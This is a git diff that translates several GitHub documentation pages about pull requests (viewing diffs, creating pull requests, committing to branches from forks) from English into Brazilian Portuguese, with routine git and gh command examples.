+**Dica:** se estiver com dificuldades para entender o contexto de uma alteração, você poderá clicar em **View** (Exibir) na guia Files changed (Arquivos alterados) para ver o arquivo todo com as alterações propostas.
 
 {% endtip %}
 
-You have several options for viewing a diff:
-- The unified view shows updated and existing content together in a linear view.
-- The split view shows old content on one side and new content on the other side.
-- The rich diff view shows a preview of how the changes will look once the pull request is merged.
-- The source view shows the changes in source without the formatting of the rich diff view.
+Há várias opções de exibição de um diff:
+- A exibição unificada mostra conteúdo atualizado e existente juntos em uma exibição linear.
+- A exibição dividida mostra conteúdo antigo em um lado e novo conteúdo do outro lado.
+- A exibição de diff avançado mostra uma visualização da aparência das alterações depois que a pull request passar por merge.
+- A exibição da origem mostra as alterações na origem sem a formatação da exibição de diff avançado.
 
-You can also choose to ignore whitespace changes to get a more accurate view of the substantial changes in a pull request.
+Também é possível optar por ignorar alterações de espaço em branco para obter uma exibição mais precisa das alterações importantes em uma pull request.
 
-![Diff viewing options menu](/assets/images/help/pull_requests/diff-settings-menu.png)
+![Menu de opções para exibição de diff](/assets/images/help/pull_requests/diff-settings-menu.png)
 
-To simplify reviewing changes in a large pull request, you can filter the diff to only show selected file types, show files you are a CODEOWNER of, hide files you have already viewed, or hide deleted files. For more information, see "[Filtering files in a pull request by file type](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)."
+Para simplificar a revisão das alterações em um pull request extenso, é possível filtrar o diff para mostrar apenas os tipos de arquivo selecionados, mostrar arquivos dos quais você é CODEOWNER, ocultar arquivos que você já visualizou ou ocultar arquivos excluídos. Para obter mais informações, consulte "[Filtrar aquivos em uma pull request por tipo de arquivo](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)".
 
-  ![File filter drop-down menu](/assets/images/help/pull_requests/file-filter-menu.png)
+  ![Menu suspenso File filter (Filtro de arquivo)](/assets/images/help/pull_requests/file-filter-menu.png)
 
-## Three-dot and two-dot Git diff comparisons
+## Comparações de diff do Git de três pontos e dois pontos
 
-By default, pull requests on {% data variables.product.prodname_dotcom %} show a three-dot diff, or a comparison between the most recent version of the topic branch and the commit where the topic branch was last synced with the base branch.
+Por padrão, as pull requests no {% data variables.product.prodname_dotcom %} mostram um diff de três pontos ou uma comparação entre a versão mais recente do branch de tópico e o commit onde o branch de tópico foi sincronizado pela última vez com o branch base.
 
-To see two committish references in a two-dot diff comparison on {% data variables.product.prodname_dotcom %}, you can edit the URL of your repository's "Comparing changes" page. For more information, see the  [Git Glossary for "committish"](https://git-scm.com/docs/gitglossary#gitglossary-aiddefcommit-ishacommit-ishalsocommittish) from the _Pro Git_ book site.
+Para ver duas referências de committish em uma comparação de diff de dois pontos no {% data variables.product.prodname_dotcom %}, você pode editar o URL da página "Comparing changes" (Comparar alterações) do seu repositório. Para obter mais informações, consulte [Glossário do Git para "committish"](https://git-scm.com/docs/gitglossary#gitglossary-aiddefcommit-ishacommit-ishalsocommittish) no book site do _Pro Git_.
 
 {% data reusables.repositories.two-dot-diff-comparison-example-urls %}
 
-A two-dot diff compares two Git committish references, such as SHAs or OIDs (Object IDs), directly with each other. On {% data variables.product.prodname_dotcom %}, the Git committish references in a two-dot diff comparison must be pushed to the same repository or its forks.
+Um diff de dois pontos compara duas referências de committish do Git, como SHAs ou IDs de objeto (OIDs, Object IDs), diretamente entre si. No {% data variables.product.prodname_dotcom %}, as referências de committish do Git em uma comparação de diff de dois pontos devem ser enviadas por push ao mesmo repositório ou para suas bifurcações.
 
-If you want to simulate a two-dot diff in a pull request and see a comparison between the most recent versions of each branch, you can merge the base branch into your topic branch, which updates the last common ancestor between your branches.
+Se desejar simular um diff de dois pontos em uma pull request e ver uma comparação entre as versões mais recentes de cada branch, você poderá fazer merge do branch base no branch de tópico, o que atualiza o último ancestral comum entre seus branches.
 
-For more information about Git commands to compare changes, see "[Git diff options](https://git-scm.com/docs/git-diff#git-diff-emgitdiffemltoptionsgtltcommitgtltcommitgt--ltpathgt82308203)" from the _Pro Git_ book site.
+Para obter mais informações sobre os comandos do Git para comparar alterações, consulte "[Opções de diff do Git](https://git-scm.com/docs/git-diff#git-diff-emgitdiffemltoptionsgtltcommitgtltcommitgt--ltpathgt82308203)" no site do livro do _Pro Git_.
 
-## Reasons diffs will not display
-- You've exceeded the total limit of files or certain file types. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#limits-for-viewing-content-and-diffs-in-a-repository)."
-- Your file matches a rule in the repository's *.gitattributes* file to block that file from displaying by default. For more information, see "[Customizing how changed files appear on GitHub](/articles/customizing-how-changed-files-appear-on-github)."
+## Motivos pelos quais os diffs não serão exibidos
+- Você excedeu o limite total de arquivos ou de determinados tipos de arquivo. Para obter mais informações, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#limits-for-viewing-content-and-diffs-in-a-repository)".
+- Seu arquivo corresponde a uma regra no arquivo *.gitattributes* do repositório para impedir esse arquivo de ser exibido por padrão. Para obter mais informações, consulte "[Personalizar como os arquivos alterados aparecem no GitHub](/articles/customizing-how-changed-files-appear-on-github)".
 
-## Further reading
+## Leia mais
 
-- "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)"
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[Sobre pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)"
+- "[Sobre bifurcações](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
index a488f3afd5..b205d0b9da 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
@@ -1,6 +1,6 @@
 ---
-title: About pull requests
-intro: 'Pull requests let you tell others about changes you''ve pushed to a branch in a repository on {% data variables.product.product_name %}. Once a pull request is opened, you can discuss and review the potential changes with collaborators and add follow-up commits before your changes are merged into the base branch.'
+title: Sobre pull requests
+intro: 'As pull requests permitem que você informe outras pessoas sobre as alterações das quais você fez push para um branch em um repositório no {% data variables.product.product_name %}. Depois que uma pull request é aberta, você pode discutir e revisar as possíveis alterações com colaboradores e adicionar commits de acompanhamento antes que as alterações sofram merge no branch base.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests
   - /articles/using-pull-requests
@@ -15,29 +15,30 @@ versions:
 topics:
   - Pull requests
 ---
-## About pull requests
+
+## Sobre pull requests
 
 {% note %}
 
-**Note:** When working with pull requests, keep the following in mind:
-* If you're working in the [shared repository model](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models), we recommend that you use a topic branch for your pull request. While you can send pull requests from any branch or commit, with a topic branch you can push follow-up commits if you need to update your proposed changes.
-* When pushing commits to a pull request, don't force push. Force pushing changes the repository history and can corrupt your pull request. If other collaborators branch the project before a force push, the force push may overwrite commits that collaborators based their work on.
+**Observação:** ao trabalhar com pull requests, lembre-se do seguinte:
+* Se estiver trabalhando no [modo de repositório compartilhado](/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models), é recomendável usar um branch de tópico para sua pull request. Embora você possa enviar pull requests de qualquer branch ou commit, com um branch de tópico, é possível fazer push de commits de acompanhamento caso seja preciso atualizar as alterações propostas.
+* Ao fazer push de commits para uma pull request, não force o push. Faz push forçado das alterações no histórico do repositório e pode corromper o seu pull request. Se outros colaboradores fizerem o branch do projeto antes de um push forçado, este poderá substituir os commits nos quais os colaboradores basearam o seu trabalho.
 
 {% endnote %}
 
-You can create pull requests on {% data variables.product.prodname_dotcom_the_website %}, with {% data variables.product.prodname_desktop %}, in {% data variables.product.prodname_codespaces %}, on {% data variables.product.prodname_mobile %}, and when using GitHub CLI.
+Você pode criar pull requests no {% data variables.product.prodname_dotcom_the_website %}, com {% data variables.product.prodname_desktop %}, em {% data variables.product.prodname_codespaces %}, em {% data variables.product.prodname_mobile %} e ao usar a CLI do GitHub.
 
-After initializing a pull request, you'll see a review page that shows a high-level overview of the changes between your branch (the compare branch) and the repository's base branch. You can add a summary of the proposed changes, review the changes made by commits, add labels, milestones, and assignees, and @mention individual contributors or teams. For more information, see "[Creating a pull request](/articles/creating-a-pull-request)."
+Após inicialização de uma pull request, você verá uma página de revisão que mostra uma visão geral de alto nível das alterações entre seu branch (o branch de comparação) e o branch base do repositório. É possível adicionar um resumo das alterações propostas, revisar as alterações feitas pelos commits, adicionar etiquetas, marcos e responsáveis, bem como fazer @menção a contribuidores individuais ou equipes. Para obter mais informações, consulte "[Criar uma pull request](/articles/creating-a-pull-request)".
 
-Once you've created a pull request, you can push commits from your topic branch to add them to your existing pull request. These commits will appear in chronological order within your pull request and the changes will be visible in the "Files changed" tab.
+Depois que tiver criado uma pull request, você poderá fazer push dos commits do branch de tópico para adicioná-los à sua pull request existente. Esses commits aparecerão em ordem cronológica na pull request e as alterações estarão visíveis na guia "Files chenged" (Arquivos alterados).
 
-Other contributors can review your proposed changes, add review comments, contribute to the pull request discussion, and even add commits to the pull request.
+Outros contribuidores podem revisar as alterações propostas, adicionar comentários de revisão, contribuir com a discussão da pull request e, até mesmo, adicionar commits à pull request.
 
 {% ifversion fpt or ghec %}
-You can see information about the branch's current deployment status and past deployment activity on the "Conversation" tab. For more information, see "[Viewing deployment activity for a repository](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository)."
+Você pode ver as informações sobre o status da implantação atual do branch e atividades passadas de implantação na guia "Conversa". Para obter mais informações, consulte "[Exibir atividade de implantação para um repositório](/repositories/viewing-activity-and-data-for-your-repository/viewing-deployment-activity-for-your-repository)".
 {% endif %}
 
-After you're happy with the proposed changes, you can merge the pull request. If you're working in a shared repository model, you create a pull request and you, or someone else, will merge your changes from your feature branch into the base branch you specify in your pull request. For more information, see "[Merging a pull request](/articles/merging-a-pull-request)."
+Quando estiver satisfeito com as alterações propostas, você poderá fazer merge da pull request. Se você está trabalhando em um modelo de repositório compartilhado, você cria uma pull request e, você ou outra pessoa, fará a mesclagem de suas alterações do seu branch de recurso no branch base que você especificar na sua pull request. Para obter mais informações, consulte "[Fazer merge de uma pull request](/articles/merging-a-pull-request)".
 
 {% data reusables.pull_requests.required-checks-must-pass-to-merge %}
 
@@ -45,32 +46,32 @@ After you're happy with the proposed changes, you can merge the pull request. If
 
 {% tip %}
 
-**Tips:**
-- To toggle between collapsing and expanding all outdated review comments in a pull request, hold down <span class="platform-mac"><kbd>option</kbd></span><span class="platform-linux"><kbd>Alt</kbd></span><span class="platform-windows"><kbd>Alt</kbd></span> and click **Show outdated** or **Hide outdated**. For more shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts)."
-- You can squash commits when merging a pull request to gain a more streamlined view of changes. For more information, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)."
+**Dicas:**
+- Para alternar entre as opções de recolhimento e expansão de todos os comentários de revisão desatualizados em uma pull request, mantenha pressionados <span class="platform-mac"><kbd>opção</kbd></span><span class="platform-linux"><kbd>Alt</kbd></span><span class="platform-windows"><kbd>Alt</kbd></span> e clique em **Mostrar desatualizados** ou **Ocultar desatualizados**. Para ver mais atalhos, consulte "[Atalhos de teclado](/articles/keyboard-shortcuts)".
+- Você pode combinar commits por squash ao fazer merge de uma pull request para obter uma exibição mais simplificada das alterações. Para obter mais informações, consulte "[Sobre merges da pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)".
 
 {% endtip %}
 
-You can visit your dashboard to quickly find links to recently updated pull requests you're working on or subscribed to. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+É possível acessar seu painel a fim de encontrar rapidamente links para pull requests recentemente atualizadas nas quais você está trabalhando ou nas quais está inscrito. Para obter mais informações, consulte "[Sobre seu painel pessoal](/articles/about-your-personal-dashboard)".
 
-## Draft pull requests
+## Pull requests de rascunho
 
 {% data reusables.gated-features.draft-prs %}
 
-When you create a pull request, you can choose to create a pull request that is ready for review or a draft pull request. Draft pull requests cannot be merged, and code owners are not automatically requested to review draft pull requests. For more information about creating a draft pull request, see "[Creating a pull request](/articles/creating-a-pull-request)" and "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)."
+Ao criar uma pull request, você pode optar por criar uma que já está pronta para revisão ou uma pull request de rascunho. Não é possível fazer merge das pull requests, e os proprietários do código não são solicitados automaticamente a revisar pull requests de rascunho. Para obter mais informações sobre como criar uma pull request de rascunho, consulte "[Criar uma pull request](/articles/creating-a-pull-request)" e "[Criar uma pull request de uma bifurcação](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)".
 
-{% data reusables.pull_requests.mark-ready-review %} You can convert a pull request to a draft at any time. For more information, see "[Changing the stage of a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)."
+{% data reusables.pull_requests.mark-ready-review %} Você pode converter uma pull request em rascunho a qualquer momento. Para obter mais informações, consulte "[Alterar o stage de um pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)".
 
-## Differences between commits on compare and pull request pages
+## Diferenças entre commits em páginas de comparação e pull request
 
-The compare and pull request pages use different methods to calculate the diff for changed files:
+As páginas de comparação e pull request usam métodos diferentes para calcular o diff para os arquivos alterados:
 
-- Compare pages show the diff between the tip of the head ref and the current common ancestor (that is, the merge base) of the head and base ref.
-- Pull request pages show the diff between the tip of the head ref and the common ancestor of the head and base ref at the time when the pull request was created. Consequently, the merge base used for the comparison might be different.
+- As páginas de comparação mostram a diferença entre a ponta do ref principal e o ancestral comum atual (ou seja, a base de merge) do ref principal e de base.
+- As páginas de pull request mostram a diferença entre a ponta do ref principal e o ancestral comum do ref principal e de base no momento em que o pull request foi criado. Consequentemente, a base de merge utilizada para a comparação pode ser diferente.
 
-## Further reading
+## Leia mais
 
-- "[Pull request](/articles/github-glossary/#pull-request)" in the {% data variables.product.prodname_dotcom %} glossary
-- "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)"
-- "[Commenting on a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"
-- "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)"
+- "[pull request](/articles/github-glossary/#pull-request)" no glossário do {% data variables.product.prodname_dotcom %}
+- "[Sobre branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)"
+- "[Comentando em uma pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)"
+- "[Fechar uma pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md
index 6dc332b6d9..30555e67e1 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md
@@ -1,6 +1,6 @@
 ---
-title: Committing changes to a pull request branch created from a fork
-intro: You can commit changes on a pull request branch that was created from a fork of your repository with permission from the pull request creator.
+title: Fazer commit de alterações em um branch de pull request criado a partir de bifurcação
+intro: Você pode fazer commit de alterações no branch de uma pull request que foi criada de uma bifurcação no seu repositório com permissão do criador da pull request.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork
   - /articles/committing-changes-to-a-pull-request-branch-created-from-a-fork
@@ -13,70 +13,69 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Commit to PR branch from fork
+shortTitle: Faça o commit do branch PR a partir da bifurcação
 ---
-You can only make commits on pull request branches that:
-- are opened in a repository that you have push access to and that were created from a fork of that repository
-- are on a user-owned fork
-- have permission granted from the pull request creator
-- don't have [branch restrictions](/github/administering-a-repository/about-protected-branches#restrict-who-can-push-to-matching-branches) that will prevent you from committing
 
-Only the user who created the pull request can give you permission to push commits to the user-owned fork. For more information, see "[Allowing changes to a pull request branch created from a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)."
+Só é possível fazer commits em branches da pull request que:
+- esteja aberta em um repositório em que você tem acesso push e que foi criada de uma bifurcação desse repositório
+- estão em uma bifurcação de propriedade do usuário
+- tiver permissão concedida pelo criador da pull request
+- não tenha [restrições de branch](/github/administering-a-repository/about-protected-branches#restrict-who-can-push-to-matching-branches) que impedirá você de fazer commit
+
+Somente o usuário que criou a pull request pode dar a você permissão para fazer push de commits na bifurcação de propriedade do usuário. Para obter mais informações, consulte "[Permitir alterações no branch de uma pull request criada de uma bifurcação](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)".
 
 {% note %}
 
-**Note:** You can also make commits to a pull request branch from a fork of your repository through {% data variables.product.product_location %} by creating your own copy (or fork) of the fork of your repository and committing changes to the same head branch that the original pull request changes were created on. For some general guidelines, see "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)."
+**Observação:** também é possível fazer commits no branch de uma pull request de uma bifurcação do seu repositório por meio do {% data variables.product.product_location %} criando sua própria cópia (ou bifurcação) da bifurcação do seu repositório e fazendo commit de alterações no mesmo branch head em que as alterações da pull request original foram criadas. Para obter diretrizes gerais, consulte "[Criar uma pull request de uma bifurcação](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)".
 
 {% endnote %}
 
-1. On {% data variables.product.product_name %}, navigate to the main page of the fork (or copy of your repository) where the pull request branch was created.
+1. No {% data variables.product.product_name %}, navegue até a página principal da bifurcação (ou cópia do repositório) onde o branch da pull request foi criado.
 {% data reusables.repositories.copy-clone-url %}
 {% data reusables.command_line.open_the_multi_os_terminal %}
  {% tip %}
 
- **Tip:** If you prefer to clone the fork using {% data variables.product.prodname_desktop %}, then see "[Cloning a repository to {% data variables.product.prodname_desktop %}](/articles/cloning-a-repository/#cloning-a-repository-to-github-desktop)."
+ **Dica:** se preferir clonar a bifurcação usando o {% data variables.product.prodname_desktop %}, consulte "[Clonar um repositório no {% data variables.product.prodname_desktop %}](/articles/cloning-a-repository/#cloning-a-repository-to-github-desktop)".
 
  {% endtip %}
-4. Change the current working directory to the location where you want to download the cloned directory.
+4. Altere o diretório de trabalho atual para o local em que deseja baixar o diretório clonado.
   ```shell
   $ cd open-source-projects
   ```
-5. Type `git clone`, and then paste the URL you copied in Step 3.
+5. Digite `git clone` e cole a URL copiada na Etapa 3.
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>FORK-OF-THE-REPOSITORY</em>
   ```
-6. Press **Enter**. Your local clone will be created.
+6. Pressione **Enter**. Seu clone local estará criado.
   ```shell
   $ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>FORK-OF-THE-REPOSITORY</em>
   > Cloning into `FORK-OF-THE-REPOSITORY`...
-  > remote: Counting objects: 10, done.
-  > remote: Compressing objects: 100% (8/8), done.
+  > remote: Contando objetos: 10, concluído.
+  > remote: Compactando objetos: 100% (8/8), concluído.
   > remove: Total 10 (delta 1), reused 10 (delta 1)
   > Unpacking objects: 100% (10/10), done.
   ```
  {% tip %}
 
- **Tip:** The error message "fatal: destination path 'REPOSITORY-NAME' already exists and is not an empty directory" means that your current working directory already contains a repository with the same name. To resolve the error, you must clone the fork in a different directory.
+ **Dica:** a mensagem de erro "fatal: destination path 'REPOSITORY-NAME' already exists and is not an empty directory" significa que seu diretório de trabalho atual já contém um repositório com o mesmo nome. Para resolver o erro, você deve clonar a bifurcação em outro diretório.
 
  {% endtip %}
-7. Navigate into your new cloned repository.
+7. Navegue para o seu novo repositório clonado.
   ```shell
   $ cd <em>FORK-OF-THE-REPOSITORY</em>
   ```
-7. Switch branches to the compare branch of the pull request where the original changes were made. If you navigate to the original pull request, you'll see the compare branch at the top of the pull request.
-![compare-branch-example](/assets/images/help/pull_requests/compare-branch-example.png)
- In this example, the compare branch is `test-branch`:
+7. Alterne branches para o branch de comparação da pull request onde as alterações originais foram feitas. Se você navegar até a pull request original, visualizará o branch de comparação no topo da pull request. ![compare-branch-example](/assets/images/help/pull_requests/compare-branch-example.png) Neste exemplo, o branch de comparação é `test-branch`:
   ```shell
   $ git checkout <em>test-branch</em>
   ```
 
  {% tip %}
 
- **Tip:** For more information about pull request branches, including examples, see "[Creating a Pull Request](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository)."
+ **Dica:** para obter mais informações sobre branches de pull request, incluindo exemplos, consulte "[Criar uma pull request](/articles/creating-a-pull-request#changing-the-branch-range-and-destination-repository)".
 
  {% endtip %}
-8. At this point, you can do anything you want with this branch. You can push new commits to it, run some local tests, or merge other branches into the branch. Make modifications as you like.
-9. After you commit your changes to the head branch of the pull request you can push your changes up to the original pull request directly. In this example, the head branch is `test-branch`:
+8. Nesse ponto, você pode fazer qualquer coisa que desejar com este branch. É possível fazer push de novos commits para ele, executar alguns testes locais ou fazer merge de outros branches no branch. Faça modificações conforme desejado.
+9. Depois de fazer commit de suas alterações no branch head da pull request, você pode fazer push de suas alterações até a pull request original diretamente. Neste exemplo, o branch head é `test-branch`:
   ```shell
   $ git push origin <em>test-branch</em>
   > Counting objects: 32, done.
@@ -88,8 +87,8 @@ Only the user who created the pull request can give you permission to push commi
   > 12da2e9..250e946  <em>test-branch</em> -> <em>test-branch</em>
   ```
 
-Your new commits will be reflected on the original pull request on {% data variables.product.product_location %}.
+Seus novos commits serão refletidos na pull request original do {% data variables.product.product_location %}.
 
-## Further Reading
+## Leia mais
 
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[Sobre bifurcações](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
index fbe2575be6..4956af9768 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a pull request
-intro: 'Create a pull request to propose and collaborate on changes to a repository. These changes are proposed in a *branch*, which ensures that the default branch only contains finished and approved work.'
+title: Criar um pull request
+intro: 'Crie um pull request para fazer sugestões e colaborar nas alterações de um repositório. Essas alterações são propostas em um *branch*, que garante que o branch-padrão só contém trabalho concluído e aprovado.'
 permissions: 'Anyone with read access to a repository can create a pull request. {% data reusables.enterprise-accounts.emu-permission-propose %}'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request
@@ -15,54 +15,50 @@ topics:
   - Pull requests
 ---
 
-If you want to create a new branch for your pull request and do not have write permissions to the repository, you can fork the repository first. For more information, see "[Creating a pull request from a fork](/articles/creating-a-pull-request-from-a-fork)" and "[About forks](/articles/about-forks)."
+Caso deseje criar um novo branch para seu pull request e não tenha permissões de gravação no repositório, você pode bifurcar o repositório primeiro. Para obter mais informações, consulte "[Criar uma pull request de uma bifurcação](/articles/creating-a-pull-request-from-a-fork)" e "[Sobre bifurcações](/articles/about-forks)".
 
-You can specify which branch you'd like to merge your changes into when you create your pull request. Pull requests can only be opened between two branches that are different.
+É possível especificar em qual branch você deseja fazer merge de suas alterações quando cria sua pull request. As pull requests só podem ser abertas entre dois branches que são diferentes.
 
 {% data reusables.pull_requests.perms-to-open-pull-request %}
 
 {% data reusables.pull_requests.close-issues-using-keywords %}
 
-## Changing the branch range and destination repository
+## Alterar o intervalo de branches e o repositório de destino
 
-By default, pull requests are based on the parent repository's default branch. For more information, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)."
+Por padrão, as pull requests são baseadas no [branch padrão](/articles/setting-the-default-branch) do repositório principal. Para obter mais informações, consulte "[Sobre branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)".
 
-If the default parent repository isn't correct, you can change both the parent repository and the branch with the drop-down lists. You can also swap your head and base branches with the drop-down lists to establish diffs between reference points. References here must be branch names in your GitHub repository.
+Se o repositório principal padrão não estiver correto, você poderá alterar o repositório principal e o branch com as listas suspensas. Também é possível trocar o head e os branches base com as listas suspensas para estabelecer diffs entre pontos de referência. As referências aqui devem ser nomes de branch no seu repositório do GitHub.
 
-![Pull Request editing branches](/assets/images/help/pull_requests/pull-request-review-edit-branch.png)
+![Branches de edição da pull request](/assets/images/help/pull_requests/pull-request-review-edit-branch.png)
 
-When thinking about branches, remember that the *base branch* is **where** changes should be applied, the *head branch* contains **what** you would like to be applied.
+Ao pensar em branches, lembre-se de que o *branch base* é **onde** as alterações devem ser aplicadas, o *branch head* contém **o que** você deseja que seja aplicado.
 
-When you change the base repository, you also change notifications for the pull request. Everyone that can push to the base repository will receive an email notification and see the new pull request in their dashboard the next time they sign in.
+Quando você muda o repositório base, também muda as notificações para a pull request. Cada indivíduo que puder fazer push no repositório base receberá uma notificações de e-mail e verá a nova pull request no respectivo painel na próxima vez que se conectar.
 
-When you change any of the information in the branch range, the Commit and Files changed preview areas will update to show your new range.
+Quando você muda qualquer uma das informações no intervalo de branches, as áreas de visualização de commit e arquivos alterados são atualizadas para mostrar o novo intervalo.
 
 {% tip %}
 
-**Tips**:
-- Using the compare view, you can set up comparisons across any timeframe. For more information, see "[Comparing commits](/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits)."
-- Project maintainers can add a pull request template for a repository. Templates include prompts for information in the body of a pull request. For more information, see "[About issue and pull request templates](/articles/about-issue-and-pull-request-templates)."
+**Dicas**:
+- Usando a exibição de comparação, é possível configurar comparações entre períodos. Para obter mais informações, consulte "[Comparando commits](/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits)."
+- Os mantenedores de projeto podem adicionar um modelo de pull request para um repositório. Os modelos incluem solicitações de informações no texto de uma pull request. Para obter mais informações, consulte "[Sobre modelos de problema e pull request](/articles/about-issue-and-pull-request-templates)".
 
 {% endtip %}
 
-## Creating the pull request
-
-{% include tool-switcher %}
+## Criar a pull request
 
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
-2. In the "Branch" menu, choose the branch that contains your commits.
-  ![Branch dropdown menu](/assets/images/help/pull_requests/branch-dropdown.png)
+2. No menu "Branch", escolha o branch que contém seus commits. ![Menu suspenso Branch](/assets/images/help/pull_requests/branch-dropdown.png)
 {% data reusables.repositories.new-pull-request %}
-4. Use the _base_ branch dropdown menu to select the branch you'd like to merge your changes into, then use the _compare_ branch drop-down menu to choose the topic branch you made your changes in.
-  ![Drop-down menus for choosing the base and compare branches](/assets/images/help/pull_requests/choose-base-and-compare-branches.png)
+4. Use o menu suspenso do branch _base_ para selecionar o branch em que deseja fazer merge de suas alterações. Em seguida, use o menu suspenso do branch de _comparação_ para escolher o branch de tópico no qual você fez as alterações. ![Menus suspenso para escolher a base e comparar os branches](/assets/images/help/pull_requests/choose-base-and-compare-branches.png)
 {% data reusables.repositories.pr-title-description %}
 {% data reusables.repositories.create-pull-request %}
 
 {% data reusables.repositories.asking-for-review %}
 
-After your pull request has been reviewed, it can be [merged into the repository](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request).
+Depois que a pull request tiver sido revisada, ela poderá [sofrer merge no repositório](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request).
 
 {% endwebui %}
 
@@ -70,55 +66,55 @@ After your pull request has been reviewed, it can be [merged into the repository
 
 {% data reusables.cli.cli-learn-more %}
 
-To create a pull request, use the `gh pr create` subcommand.
+Para criar um pull request, use o subcomando `gh pr create`.
 
 ```shell
 gh pr create
 ```
 
-To assign a pull request to an individual, use the `--assignee` or `-a` flags. You can use `@me` to self-assign the pull request.
+Para atribuir uma pull request a uma pessoa, use os sinalizadores `--assignee` ou `-a`. Você pode usar `@me` para autoatribuir o pull request.
 
 ```shell
 gh pr create --assignee "@octocat"
 ```
 
